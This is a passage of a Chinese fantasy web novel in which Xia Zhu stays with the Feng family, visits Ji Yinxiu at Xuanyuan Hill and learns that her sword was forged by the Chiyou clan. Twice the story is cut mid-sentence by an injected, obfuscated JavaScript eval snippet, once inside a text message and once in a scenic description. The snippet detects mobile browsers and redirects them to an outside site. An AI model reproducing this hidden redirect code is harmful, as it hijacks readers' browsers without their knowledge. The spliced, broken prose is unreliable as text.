“好嘛好嘛,阿烛你饿不饿呀~”两人一起返回座位,声音离赢惑越来越远,“俺跟你说,火车上的泡面最好吃了!就是有点贵…” 几经辗转到了树山镇,下了大巴车,风枫不允许赢惑进入风家的领地了。 “不是收留吗?你们这叫半途而废。”赢惑的嘴角还有些青紫,他朝夏烛投去埋怨的眼神,但夏烛拒绝接收。 而嬴犽一路上都有些欲言又止,离树山镇越近这种状态就越明显,嬴家和风家是邻居,但他看起来也不是那种近乡情更怯的人。 嬴犽心里怎么想的,也许只有风枫清楚。 “好啦好啦,预言一一灵验,接下来的日子应该都不会好过,回家看看你老爹吧!”风枫拍拍嬴犽的肩头,换来一双亮晶晶的眼睛。 风枫斜睨了一眼表情臭得不行的赢惑。 “你和小乌鸦不是一家的吗?这都到家门口了不回去看看?” 毕竟预言中跟他有关的“妖神霍乱”还没有出现,风枫怎么也不认为,赢惑真就这样被抛弃了。 “是吗?你也这么想?”赢惑恶狠狠地盯着夏烛来了这么一句。 夏烛觉得有些莫名其妙,她当时答应赢惑同行也只是方便路上可以质问他,关于上一个梦境中的一切。可是他现在看自己的眼神,怎么就像一只刚被主人捡回来又被抛弃的狗。 于是夏烛再次自动屏蔽掉了赢惑灼热的视线,只是低头呆呆地扯着自己校服衣摆上的线头,扯得十分投入,咬牙切齿。 赢惑不可思议地看着夏烛留给他的发旋,气得咬肌发颤,他在心里下定决心,以后绝不会再相信任何一个人,即使再怎么像她。 他转身就走,朝着和夏烛她们相反的方向。直到变成小小的一个黑点,夏烛才敢悄悄抬起头来,望了一眼那个落寞的小圆点慢慢和道路两旁的绿树融为一体。 她在心虚什么,本来就没说去哪里都要带着他的。 夏烛再次垂下眼睛,和线头纠缠起来。 忧郁少年嬴犽一直依依不舍地停在三步之外,赖着不走的赢惑都不见了身影,他还是站在那里眼巴巴地望着风枫。 直到风枫指尖嘭出的一朵小雏菊蜿蜿蜒蜒地绕上了他裸露的指骨,少年人才心满意足地离开。 “什么坏习惯,这么多年都戒不掉,下次用别的东西训练训练呢?”风枫嘀嘀咕咕地看着自己的手指,自以为这仅仅是逗鸟的一种方式。 殊不知黏黏糊糊的举动,早看得一旁的风眠嘴角抽搐。 只是风枫在感情方面十分的迟钝,既看不出她的小动物丝毫藏不住的爱意,也觉 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虽然风家更像是与世无争的世外桃源,不参与神血家族的纷争,像一群隐世的人一样生活,风叶这个家主也形同虚设,但真正到了危难之际,她也得站出来为春皇一脉世代守护的土地做点什么。 于是在晚饭后的家庭会议上,风叶决定利用符钰的能力将风家领地上的结界进行加固,并且拓展范围为整个树山镇。尽她们所能为此间的普通百姓保障基本的生命安全。 姬无愁轻声细语的发言,说她也可以帮忙。风叶大大咧咧地搂着姬无愁,大笑着说好啊,她早就听闻濮阳姬家捕蜩人的实力了,正好让家族里的小辈也开开眼界。 不知道是不是夏烛的血脉和风家的符钰并不同宗,她无法通过符钰驱动相力张开结界,只好遗憾作为后勤和风眠呆在一起,为布结界回来的人准备一桌丰盛的饭菜,毕竟这个工作很是消耗精力,结界得至少一周才能完成。 夏烛将风大厨做好的菜一一放进烤炉中保温,等待风枫她们回来就可以吃晚饭了。她捋了捋老是滑落在胸前的头发,打算回到房间找个发圈扎起来,这样放任不管实在影响工作。 夏烛蹲在柜子前,这个梳妆柜在上次离开的时候还空空荡荡的,这次回来就被风叶填满了。现在多了一个姬无愁,两人住在一间房里,风叶又有借口指使老姜外出采购更多的物品。 “两个人嘛!这些东西肯定不够!”风叶是这么说的,说这话的时候,她一巴掌重重拍在老姜的肩头,即使是一个身材魁伟的大汉也不免倒吸一口冷气,但依旧甘之如饴地频频点头,将妻子的话奉为圭臬。 夏烛在一堆漂亮的发圈中挑花了眼,最后却选了一只镶嵌了两颗灰色玻璃球的发绳,将实在茂密的头发挽在了脑后。 房间的灯暖乎乎的,像是熟柠檬活着向日葵的颜色。做完这一切她才惊觉自己的行为似乎有些过于熟稔,好像这里,这间房,原本就是她的家一样。 她不知道这种自然而然的反应是好还是坏,一般在思考问题的时候,夏烛会像灵魂出了窍,定在原地一动不动。 身后通往阁楼的楼梯上传来动静,夏烛回过神转身看去,地门里冒出一颗红棕色的毛茸茸的脑袋。 “后勤部队第一次添了新人呐。”风眠往上走了几个台阶,让上半身都从门洞里钻了出来,他一手撑着地面,一手撑着自己的下巴,就这样趴着地板上,长长的睫毛低垂着,嘴角噙着一个很淡的笑。 “聊一聊?”他说。 65.短信 夏烛茫然地点了点头,起身拉开书桌旁的椅子,邀请风眠走上阁楼来。 “我可以进来吗?”风眠还是礼貌性地问了一句。 夏烛又点了点头。 两个人坐在书桌前,晚风阵阵,就在前几分钟,最后的夕阳沿着远山的山脊慢慢沉了下去。落日离开,星光就洒了出来。结界中的温度适宜,曛得人眯起眼睛。 风眠收回视线,转过头看着夏烛。 “很漂亮。” “什么?”夏烛撑起眼眶,试图理解这个陌生的词汇。 “你扎起头发,取下那个厚重的眼镜,很漂亮。”风眠伸出手指在夏烛面前比划着。 “不过阿烛本身就很漂亮,你自己不觉得吗?” 夏烛认真思考了一下,然后郑重其事地点了点头,“觉得。”她对于别的事物的美丽与否显而易见追随了大众的潮流,但是对于自己,她自有一套审美标准,那就是健康,强壮。所以她认为自己就是漂亮的。 风眠撑着下巴,眼睛眯成两弯细细的月亮,胸腔中发出闷闷的笑声。 夏烛盯着他的脸,尴尬的红团不动声色地出现在眼睛下方。她有些不明白,风眠是不是在嘲笑她。还在思考,却发现笑意正从他的脸上慢慢消失,取而代之的是一种让人捉摸不透的表情。 “预言正在变成现实。” “啊?哦,是的。”话题跳转得太快,根本不善于聊天的夏烛有点跟不上。 “你有没有觉得,一切的开始都是因为你呢?” 话题不仅跳转得很快,就连内容也直白的像两盏大灯,惨白的光线就这么突如其来地甩到了夏烛的脸上。她像一只噎住的小鸡,身体紧绷起来,手指绞着衣摆,一句话也说不出来,连看都不敢看风眠一眼。 他似乎在等待夏烛的回答,两人之间形成一股尴尬的对抗力。一个势必要得到答案,一个恨不得将自己的嘴巴缝起来。 夏烛一感到紧张就会胡思乱想,现在的情形,让她觉得自己变成了伟大革命事业中的一个背叛者,正在被铁血的英雄用于照亮人民的光辉拷打质问。 无处遁形,肩颈变得僵硬起来。因为她也赞同风眠的看法。 日月山上的种种,让她不得不回顾过去,从一堆混杂的记忆中发现了惊人的线索。可是这些东西太过主观,夏烛常常避免自己陷入自作多情的困局,所以她在努力忽视那些十分巧合的片段。 但问题就是,似乎从她莫名其妙做梦开始,一切就偏离了轨道。 独自进入的第一个梦或许就因为自己的原因让其中一只魉逃到了现实。 莫名其妙的神策,还有她体内实在特殊的相力,所有的矛头好像真的指向了她。 “你是从什么时候开始突然会做梦的呢,是我们见到你的那次吧。人生第一个梦境。”风眠拗不过夏烛,不再等她自己说出来。 “这么多年了,突然能入梦,紧接着又觉醒了特殊的相力,然后神血家族就开始发生一连串的变故,你第一次从梦里出来的时候,有什么是没有告诉我们的吗?” 夏烛默默地想,是了,风眠这么聪明,他这双浅色的眼睛似乎能看透一切,即使没有相力,他也绝对是个优秀的人。 可是他嘴里说出的话,让夏烛越来越害怕,她想到风枫的脸,在脑海中越来越远。 风眠的身体微微向夏烛倾斜,这在无形之中造成了一股压迫感。 “我想说的是,小枫,老妈老爸,她们是我在这个世界上最重要的人,即使我是一个废物,没有任何相力,也决不会放任他们置于险地。” 夏烛怔住,她确实有点被吓到。眼前的风眠好像变了一个人,不再让人如沐春风,而是冷冰冰的。她下意识盯着风眠的嘴,祈祷他不要说出那句话。 “你还不明白吗阿烛,你的身世背后藏着太多的秘密,未来也有太多的不可知。但从第一天让你踏进风家的门,就说明我和小枫已经把你当作真正的朋友看待。我说过的,我们从不看走眼。”他的身体重新向后靠,两人之间一根紧绷的弦忽然松了下来。 她终于敢抬起头直视风眠的眼睛。 “立于悬崖之上不单只有往前跳这一个选择。你还可以依靠我们,以后的路也许不好走,尽量别把自己也置于险地。好吗?” 夏烛呆呆地看着风眠,再次觉得暖风吹得人头脑发晕。 “所以阿烛,你能答应我一件事吗?” “什么事?”夏烛终于开口,声音干涩地卡在喉咙,她不得不咽了咽口水。 “多照顾风枫。” “你不是一般的人。我的妹妹也相当的固执,我说的照顾绝不会耽误你太多,不是让你事事考虑她,怎样用心地对待她,而是只需要抽出一点点精力,在危机的时候,也同样向她伸出手,可以吗?” 夏烛在风眠期盼的眼神中用力点了点头。 其实不用他嘱托的。 楼下传来动静,响起风枫乍乍呼呼的声音。 风眠一拍桌子,重新变回夏烛熟悉的样子。 “好啦,大功臣们回来了,可以洗洗手吃饭啦。”他站了起来,将椅子推回书桌下,活动着四肢往楼梯走去,“阿烛也赶紧收拾好下来吧。” “对了。”他走到一半停住,转过头露出一个柔和的笑,“刚刚说的那些,别告诉风枫,就当是我们俩之间的秘密,可以吗?” 夏烛点了点头。 今晚的风眠总是给她一种奇怪的感觉,就像他前面东拉西扯说了一大堆,其实是故意吓唬她一样。也许这就是语言的艺术,真实的目的往往跟在“所以”“对了”之后。 他就是想要夏烛在风枫遇到困难的时候拉她一把。 她觉得这不是应该的吗?为什么风眠要花这么大的力气绕这么大一圈,看着她亲自点头应下这个承诺。 夏烛捋了捋头发。 风眠,他是个很聪明的人。 刚想起身下楼,一直放在桌面上的手机忽然呜呜震动了两声。从来不声不响忽然来这么一下,着实吓了她一跳。 意识到是手机的短信提示,夏烛无语地叹了口气。 她这样一惊一乍地真的很像个跟社会脱节的老年人。 拿起手机,屏幕上写着“姬阴秀”三个字。夏烛若有所思地点开收信箱。 “风烛: 你好。 我是姬阴秀。 上次承诺帮你挑选剑鞘的事已经有了结果,如果方便的话,邀请你近日来轩辕丘做客。 追风道可直达崆峒山 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16052986|172863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,确认好出发的时间,我会提前在山顶等你。 希望没有到扰到你。” 夏烛看完,退出收信箱,点进了日历。 这位也是不遑多让,发起短信来莫名文邹邹的。很怕他在会最后加上“此致敬礼”或者“这厢有礼”之类恐怖的酸词。想到这,夏烛手臂上浅浅起了一层鸡皮疙瘩。 她的寒假剩余不多了,也许确实可以在开学前去一趟大名鼎鼎的轩辕丘。 夏烛在晚饭时跟众人传达了受邀去轩辕丘的意思。风枫垂头丧气,她也想和夏烛一起去开开眼界,但是结界的事情还需要一段时间。 只好承诺,结束的时候去崆峒接她。 夏烛想独自前去,也是因为轩辕丘之旅结束后她也许就得离开树山镇回学校了。一时间还没想好怎么跟风枫她们说,毕竟九天大会之后,神血世界大起波澜,在这个时候离开,不是什么好时机。 预言一出,危机四伏,夏烛固执地不想离开这里。 夜里的风大了一些,把轻纱做的窗帘吹得高高扬起,老姜用绑带将纱帘围拢束在了一边。风枫鬼鬼祟祟的下楼,从仓库里搜罗出除夕夜那晚没有消耗完的烟花。将人一个个从房间里拖了出来,美其名曰为姬无愁举办一个欢迎仪式,其实是她自己想玩。 屋子后面有一个斜斜的草坡,绵绵层层绿色的波浪里横七竖八地躺了四个人。夏烛用心感受着身边人的雀跃,那些五彩斑斓的火焰在晴朗的夜空中绽开,她们的身体也在光华中变得愉悦起来。 风枫应该特别开心,她的双脚止不住地蹬着,像一只激情四射的小兔,头顶的那一片草丛一直不断地炸开五颜六色的花草,酢浆草、蒲公英、紫花地丁和小雏菊。 有时候从泥土里迅速冒出来的小花就开在夏烛的脸颊旁边,在风中摇摇抖抖,搞得她皮肤发痒。 但心是无比的沉静。 就好像她一辈子都没见过这么多的颜色,塞得眼眶满当当就要溢出来。最后夜空安静下来,星子又浮出水面,看起来像是在栗色的天鹅绒上撒了一把细碎的钻石。 “铃兰摇银铃,紫云英铺开绒毯,酢浆草编个花环…” “飞过矮墙,穿过草场,再回到家乡…” 风枫小声地哼着歌,听曲调婉转柔和像一首摇篮曲。 “风眠。”她突然叫了一声哥哥的名字,“你还记不记得呀,小时候午睡你总在俺床边唱这首歌!” “记得记得。”突然在大家面前提起什么小时候,风眠偷摸转了个身背对着几人,无奈地回应着。 “其实俺闭上眼睛就能睡着!一直唱一直唱吵得俺脑袋疼!俺就知道这歌是你唱来哄自己的!” “是是是…”风枫说什么就是什么吧,他才懒得解释。 知道风眠肯定不好意思了,风枫就笑得更大声。 夏烛左边的草地窸窸窣窣,她偏过头,一直默不作声的姬无愁也背对了过去,贴着她脊背的矮草一下又一下地摇晃。 儿歌,夏烛想,小时候也听过爷爷唱。 “飞过矮墙,穿过草场,再回到家乡…” “车前草贴着地面长,像两个小小的影子越拉越长…” “睡吧睡吧,我的小野菊,太阳落下的地方,是温暖的梦乡…” 66.轩辕丘 空气干燥又温暖,充满了粉质的香气,夏烛辨别得出那是春天的味道,用崭新蓬勃来形容再好不过。 她又上了天孙山,不过这次是独自一人。 燕语莺啼,鸟鸣啁啁是春山限定,山路不好走却也不孤单,自然的疗愈胜过一切药石。夏烛边赶路边想象着传说中的轩辕丘会是什么样子。她想过自己会先因为寻找机缘而去渭水姜家,却不想非但没和姜下晴打好关系反而成了竞技赛上的对手,九天大会匆匆落幕,她连话都没和别人说上几句。 她想到了睡好觉,也许轩辕丘也是丹楹刻桷,玉砌雕栏,一派富丽堂皇,用风枫的话来说妥妥的暴发户审美。但是用“暴发户”形容黄帝后人确实失当。 夏烛低着头不自觉笑出声,然后她又立马想起了睡好觉的前台掌柜姬桃。 出发之前,风眠曾来叮嘱过她,竞技场被安排和姜下晴姜欲燃同场,也许是姬桃的故意为之。而她们和姬桃往日无冤,近日无仇的,她这样做倒像是受人指使。 而这个人,也不难猜,无非是近距离接触过她们的姬阴秀和姬罗池。 至于是兄妹俩里的谁,从性格上来看,更可能是性格谨慎的姬阴秀。 所以轩辕丘邀约也许并不是为了赠予剑鞘那么简单,风眠认为姬阴秀大概是看出了夏烛身上的可疑点。但他并没有在对她产生怀疑后大肆宣扬,就说明姬阴秀有更为妥当的部署。 按照崆峒荣耀世家的处事方法,应该不可能摆上鸿门宴千里迢迢请夏烛过去然后把她囚禁起来威胁她说出自己隐藏的秘密,让她交代对神血家族所图为何。 因此,风眠抵着下巴一通分析,最后得出关于夏烛的身世,姬阴秀手里也许有点线索,而他本人估计也有所求,所以才希望物尽其用,和夏烛做一场公平的交易。 “不过以上都是我的猜测啦,也许姬阴秀单纯是个剑痴,很高兴你也喜欢剑器并且有自己的见解,所以邀请你去他家大聊剑道也不一定啦。” 风眠是这么说的。 不过,无论是哪个原因夏烛都很愿意来这一趟,有线索信息当然是好,没有也算是开了眼界。读万卷书始终不如行万里路。她默默在心中做了一个决定,当然这个决定在所处的这个人生节点上,看起来或许重大,但她相信再过十年二十年,回头再看时就会变得微不足道。 朝碧海而暮苍梧,她从那间小小的房屋走了出来,和身边人一起经历了前十八年绝想象不到的事,才发现从前无论自负读了多少的书,始终是坐井观天。 世界之大,好的坏的,甜的苦的,都是生命之书里不可或缺的章节。 她不得不想起建木易帜,不得不再次感叹,天高地迥,绝宇宙之无穷。 * 快到午时,夏烛才登上了山顶,避开稀稀拉拉的游客按照记忆成功踏进了追风道的领域。她在云雾中休息了片刻,从背包里拿出了事先找风枫借的神策。 那两张写了“你好”的,肯定是不能用的。 夏烛平稳了呼吸,抬手将神策扬进风里。 “崆峒山。”? 云涌风飞,天地一变。 * 追风道将她吐出,丢在一个悬崖边上,差一步就会跌进万丈深渊。夏烛僵硬着脖子,决计不往身后看一眼。 “第一次来崆峒山的追风道都会不习惯的,是我忘记提前问你,有没有恐高之类的症状了。” 悬崖边上一片郁郁葱葱的树林,最近的树下靠着一个熟悉的身影。 “不过多来几次就会习惯的。” 姬阴秀走到夏烛面前,对她露出一个十分友善但又显得客气的笑。 夏烛被那张美得雌雄莫辨的脸晃得更加头晕目眩,但又立马反思自己,好像姬阴秀是一尊不染纤尘的水月观音,任何想法在他面前都是亵渎。 但说实话,每次见到姬阴秀,夏烛心里就只有欣赏和一副近似崇拜的兴奋感,毕竟这人浑身上下都散发着出尘的气质,白到透明的脸上外层那一圈浅浅的绒毛都在夸张得泛着莹润的光。 有时候不得不怀疑,人类的容貌系统会不会有点太肆意妄为了。 没错,长成这样,还是人吗? 夏烛晃晃脑袋。 “是的,多看几次就习惯了。” “看什么?” “好风光。”夏烛指了指身后的悬崖。 她发现姬阴秀不仅人长得分不出性别,穿得也往往很中性,剑不离身,修长得像一片竹叶,和上一次在梦里以及九天大会上见面时差不多,看背影像一位暗夜行走英姿飒爽的女刺客,身体的线条其实更倾向于无性别。 “辛苦你来一趟。” “不辛苦,应该的。” 这段对话后,两人之间就再也没有交流,好像夏烛不是来做客的,而是来参加什么严肃的论坛活动。不过也好,她也不用绞尽脑汁然后说出一堆蠢话来。 并肩穿过那片繁茂的林子,周围的树开始变得稚嫩,春芽才刚刚发在枝头。耳边开始出现潺潺的水声,眼前开阔后更是弥山遍野的绿,连缭缭雾气也被浸透。森郁的林间星星点点出现了一些十分现代化的建筑,通常都是大片的落地窗框住绿野仙踪似得景色。 是和睡好觉完全不一样的气质,夏烛实在没想到轩辕丘是这样的,像极了现在流行的野奢风格的酒店或者民宿。 当然了,“野奢”这个词是从风枫口中听来的。 她从九天大会回来之后,不知道搭错了哪根筋,非要挪用睡好觉的商业模式,想在风家领地里也打造一些类似的产业。她在村里连上网后认真调研了一番,最终将品牌定位到“野奢”这个词上面。 不过这个想法一冒头就被风眠残忍地打消了。他说实则不然,野是够野,奢未必奢。 “我给你找到一个更加准确的定位,你想知道是什么吗?”风眠拍着风枫的肩膀语重心长地说。 “是什么啊?” “农家乐。” “…” 至此风枫双手一挥,更加纯粹的面朝黄土,背朝天了。 夏烛面上冷酷,实际上一肚子烂话。但不知道姬阴秀是如何察觉的,他在一旁轻笑了一下。 “这还不是轩辕丘,或者说,这是轩辕丘的伪装。” 夏烛一副了然的表情,实则心里恍然大悟,还是和睡好觉很像嘛,前面都用酒店旅馆做掩护。 真是可恶,两头的钱都要赚。 两人走过一座古朴的木桥,就进了酒店内部。里外一致,装修风格无比清雅,又不失野趣,大规模的玻璃窗,让人感觉住在这里和住在树上的猴子没什么区别。他们略过有客人正在办理入住的前台,穿过一片十分考究的山水园林,进入到了一间小小的厅堂。 厅堂门头上写着“垂裳之门”。 门内只是置了一片小景,轩窗疏梅,素壁奇石。 尽头是一部直梯,姬阴秀掏出一张金色有盘龙纹的卡片,在电梯入口出刷了一下,屏幕上的数字就开始滚动。 他贴心解释道:“坐电梯下去,才是轩辕丘。” 夏烛认真点头,跟着进了电梯,一路往下,她记得自己上电梯前就是在一楼的,以这下降的速度,她觉得一会儿就得到阎王家门口了。 “叮——”电梯门缓缓打开,现实还是比想象来的震撼。 轩辕丘像是将整座山斜着凿出个大坑建在里面的,阳光也似乎偏爱这里,从云间泼洒如注毫不吝啬地照耀,青山隐隐泛着金光。向外面对着一个巨大的天然湖泊,碧波 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“好了。”他露出一个淡淡笑,抬手示意院门,“这里是我家,在轩辕丘的几天如果不嫌弃的话就住在这里吧,我家的空房间很多,不过你要是介意,也可以到前厅我让她们给你开一间房,只是来来去去比较麻烦。” 他带着夏烛跨进门槛,脚底下踩过一片肃肃响的落叶,青檐和墙角下爬了些苔藓。这间院子里有股熟悉的奇怪的味道,一时间她也说不上来。 穿过一条光线昏暗的长廊,天色在这里莫名变成了灰青,沉闷地压在屋檐上。姬阴秀忽然停下了脚步,他的声音也变低了许多。 “对了,我家里只有我和,母亲,你不用紧张,也不用客气和她说话,按你舒服得来就行。” 说完他就回过身,重新走在前面。 夏烛愣愣地点了点头,意识到姬阴秀看不见,又轻轻应了一句。 长廊的尽头,是一方小院。 院中有一棵苍劲的老石榴树,枝繁叶茂,遮去了大部分的天光。晚风轻轻吹来,树叶摇晃,一些早早想要脱离树枝的叶片,趁机随风飘飘荡荡。只是夕风浅浅,它们最终也飞不出屋檐,而是扑扑簌簌地铺到了院中的青砖上。 树底下放着一把藤椅,一个长发挽在脑后,肩上搭着栗色薄毯的女人坐在其中。 夏烛记起来,院子里飘荡的奇怪味道是什么了。她曾经在爷爷的身上闻到过。 那是将死的气息。 女人抬起一张月色的脸,毫无情绪却比花月之身的玉面观音还要清冷。微微向下的嘴角旁有一颗和姬阴秀一模一样的黑色小痣。 她的眼神像一潭死水,只是在望向姬阴秀的时候会闪过让人心惊的厌恶。 67.小剑的秘密。 “妈妈。” 姬阴秀轻轻唤了女人一声,嗓音听起来有些别扭。姬不照没有回应他,移开了视线,望着飞檐外天空的一角。 两人长得很像,但是姬不照看起来比儿子更绝俗冰冷,也更美丽。空空一副漂亮的躯壳,好像失去了体内一部分的东西。 “妈妈,我带了朋友回来。”姬阴秀又上前了一步,像是始终不敢靠近,只在边缘徘徊,希望母亲能看他一眼。 “是上次跟你提到过的,风家的新朋友。” 他的声音越来越淡,在姬不照面前的姬阴秀完全跟之前不同,不同到夏烛甚至因为自己的在场而感到不好意思。 她仔细想一想,在母亲跟前,姬阴秀就是下了神坛,抛却莲台。 风将满树的叶子吹得沙沙作响,夕阳的投影在青瓦上慢慢拉长,时间仿佛过了很久,姬阴秀才转过身面对着夏烛,声音轻柔地向她道歉。 “母亲身体不太好,平时不爱和人接触,你别介意。” 夏烛连忙摇了摇头。 “跟我来吧,先把剑鞘给你试试。” 两人离开了院子,推开西边的一间屋子。西晒将单薄的房间烘烤的干燥又温暖,桔红色的夕阳从窗口大片地铺洒进来。 除了一屋子的残照,这间房里几乎什么都没有。 只有一张单人木床靠在床边,一个款式老旧的木头衣橱和一张小桌,模糊的玻璃灯罩孤单地立在桌边。 姬阴秀拉开抽屉,从里面取出一个绸缎包裹的物件,递到了夏烛面前。 “我只是大概目测了你的剑,先试试合不合适吧,应该是没问题的。” 夏烛接了过来,掀开上面冰凉的绸缎,摊出一把木胎制的剑鞘。手感温润,外观简朴,没有过多的装饰,只在漆鞘中掺了写朱砂,金粉,晃动起来烁光暗流。 鞘侧带了螭龙衔环的提梁,刚好可以挂在腰间。 夏烛取出小剑,目光闪闪地将它送入剑鞘,刚好严丝合缝,半点不差。她兴奋地举着剑在夕阳下左看右看,眼下发烫,觉得呼出的鼻息都是热的。 “真好看!” “你喜欢就好。” 鯉口在光下一闪,是防止拔剑时损坏鞘身而打得金属扣环。夏烛一愣,将剑送到眼前,金属环上一般会刻些兽面纹之类的装饰。而她这把鞘上,却刻了一个和小剑剑柄上,一模一样的彗星图腾。 夏烛想装作无事发生,收起小剑,抬头却发现姬阴秀正目不转睛地盯着自己。 “很闪。”她干巴巴地笑了两声,姬阴秀还是没挪开视线。 “谢谢你。”她又补了一句,还是没反应。 “呃…多少钱?” 姬阴秀嘴角的弧度越变越大,胸腔内发出闷闷的笑声。 “你以为我想收你钱?” 夏烛尴尬地笑笑,难道不是吗?她在心里默默地反问道。 “好吧,我确实有一个请求,当然,跟钱没有关系。”姬阴秀收起了表情,“不过你不接受也没事,剑鞘照样可以拿回去。毕竟那么好的剑,没有剑鞘保护怎么行?” 他说到这里,下意识地摸向腰间,佩剑已经被他挂在了门外,那里什么都没有。 “不知道九天大会之后,你们有没有进过梦。那个预言是真的,而且情况远比我们想象的要糟糕得多。有些事情一旦发生,就会彻底脱离我们的掌控。” 他抬起眼睛,注视着夏烛。 “崆峒姬家已经下达了命令,不允许残体入梦,更不准他们独自调查妖神相关的案件。” 夏烛望进那双同样浅到透明的眼睛,分神去思考他的视力水平会不会受影响。 “所以,我的请求就是,可不可以让我加入你们的队伍。”他的睫毛和头发一样变成了白色,或许他身上那股神性就是因此而来的。 姬阴秀见她没有答话,又接了一句,“我知道这个请求有些强人所难,但我保证决不会拖你们的后腿,不造成别的麻烦,我只是,想多做点什么…” 夏烛的眼睛微微张大,什么神性不神性的,她突然想起风枫说过的话,姬阴秀之所以一夜白头,是因为他强行突破血脉的禁制,耗费寿命精血拔出轩辕剑让神器认主。 她迟迟没有回复,姬阴秀显然也不肯放弃,罗池她们是决不会违反族规和他同队的,而他闲时只会在轩辕丘内苦练剑道,根本不会接触到其余的人,夏烛她们是姬阴秀唯一的希望。 “为表诚意,我可以告诉你,关于你这把剑的秘密。” 夏烛猛地抬起头,小剑的秘密? “还有,关于你的身份…你其实不是风家人吧,至于你为什么用风烛的名字伪装自己,我不多问你也放心,我不会拿这件事威胁你,让你们接纳我的。” 她回过神来,摇了摇头。 “你不愿意吗?” 夏烛又摇了摇头。 “我的意思是,即使你不告诉我什么秘密,未命名队伍1也很欢迎你的加入的。”她轻轻抚摸着手里的小剑,“何况你人这么好,送了我这么珍贵的礼物,我没理由逼迫你做任何事,相反,我觉得得回报你点什么。” 姬阴秀反应过来夏烛话里的意思,他放在腰间剑扣上的手指微微收紧,整个人沐在夕阳中,变成了透明的轻飘飘的红。 “你不用回报我的。” “无功不受禄。”夏烛摇摇头。 姬阴秀拗不过她,只好结束这个话题。 “我叫夏烛。”她把小剑挂在腰间,然后认真地对新队员做起自我介绍。 “你是指,你的真实名字吗?” “没错。”夏烛用力点点头,直觉告诉她,姬阴秀这个人和这把剑鞘一样好,或者说,能做出这么好剑鞘的人,一定也不会差到哪里去。况且,他还长得这么好看,站在太阳底下,夏烛都生怕他会融化,或者变成仙子飞走。 不对,况且,他还是轩辕剑主,可不是什么一般的人。 总之,他虽然有名气有实力,可是莫名可怜巴巴的,一个人站在那里。 夏烛最见不得这样的人。 她要把她们都收拢在一起。 屋内的光线彻底变灰,那些暖色通通从窗台缝隙中流走,虽然轩辕丘内自成气候,但姬阴秀家里的温度好像就是比外面低上一些。 “你的剑有名字吗?” “小剑。” 姬阴秀愣了一秒,“好名字。” “小剑..”他轻轻念着剑名,“你知道,这把剑是蚩尤族人所铸吗?” 夏烛低下头,猜到了他口中关于小剑的秘密,手指轻轻摩挲着剑鞘鯉口上的纹理。 “因为彗星的图腾吗?” 姬阴秀了然,她果然还是知道点什么,不过,他轻轻摇了摇头。 “不仅是这样。一般的蚩尤铸剑师,是不会在 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“认主。”姬阴秀一语破的,“神器认主不是小事,除非你血脉纯净是天之骄子,或者像我这种…像我这种非要勉强付出代价,才能使剑出鞘。” “而没有认主的神器,在旁人手中就是一堆破铜烂铁。所以我猜测你的小剑也是因此流落到市集中的。” 夏烛总算听懂了他的意思,但她还是不明白,“就没有别的可能了吗?” 不是天才,不会折寿,也能让神器认主的,别的可能。 姬阴秀沉思了片刻。 “倒是还有一条,除非,你是被铸剑师认可之人。神器与他心意相通,自然会承认你。” 一滴热泪从夏烛的眼眶中涌出,砸在她握着小剑颤抖的手中,姬阴秀大受震撼,不知道自己的哪句话触动到了她,手忙脚乱地想找点什么能阻止她的眼泪。 就听得夏烛颤颤巍巍,声泪俱下地说出那句让他大脑皮层变得光滑的话。 “爷爷!一定是爷爷!他就是那位天纵之才天赋异禀的铸、剑、师!” “啊?” 姬阴秀有一瞬间无法自主思考,他想说这位铸剑师千百年前就去世了,尸体就葬在轩辕丘外崆峒山上,但看着她双手捧着小剑,哭得涕泗横流,不忍心打断她,只好默默站在一边,在夏烛的哭嚎声中憋住不笑。 在短暂的情绪失控之后,夏烛猛然清醒,看到身边姬阴秀一脸慈爱的表情,恨不得找个地缝钻进去逃之夭夭。 虽然冷静之后她也觉得不太可能,但是那唯一的线索指向,让夏烛不能不往这方面想。姬阴秀告诉他这位铸剑师早就离世之后,她又陷入了另一种茫然之中,连最有可能的一条信息都无法证实,她想不到自己身上还有哪一点能让神器认可的。 要说特别之处,她没想好要不要告诉姬阴秀,关于治愈恢复,起死回生的能力。 也许,小剑是因为她身上特殊的相力,才选择了她作为主人的。 “我了解的也只有这么多了,不知道能不能为你的身世提供一点微薄的帮助。” 姬阴秀突然的话,让夏烛有些不寒而栗,他连自己在找身世这件事都猜到了。 “不过,有一个人,也许能给你提供更多的线索。” 夏烛抹了一把眼泪,期待着姬阴秀口中的那个名字。 “少皞嬴家,赢惑。” 68.湖中人 姬阴秀把夏烛领去了东边的一个房间,这里面对着轩辕丘外的大湖。窗户推开,能见到房屋顶上垂下来的藤蔓植物,开着紫颜色的铃铛似的小花。清新的风从湖面上吹过来,波光粼粼照着最后一丝残阳如血,偶尔掠过几声空灵的鸟叫。 这个房间这么好,比起姬阴秀自己住的那间,这里生机勃勃,风景优美。他说是提前收拾出来,留给客人用的。 夏烛推辞自己拿到了剑鞘已经心满意足,她马上又要开学了,明天一早就得返程,不用这么客气。而姬阴秀则是摇摇头,不声不响地从厨房里端出几碟他自己炒的家常小菜,邀请夏烛来到正厅一起吃个晚饭。 路过庭院的时候,姬不照已经不在这里了。 前厅也是破旧又空荡,只有一张八仙桌和几把椅子。虽然既不温馨也不豪华,却被姬阴秀收拾得干净亮堂。 “我只会做一些家常的小菜,不知道你能不能吃得惯。” 饭菜热腾腾地飘着香气,空荡荡的房间正在被热度填满。那些蒸汽摇摇晃晃地升空最后爬上横梁。 “好吃的。”夏烛尝了一口,虽然达不到风眠的水准,但反而有种家的味道,吃进嘴里会让她想起爷爷。 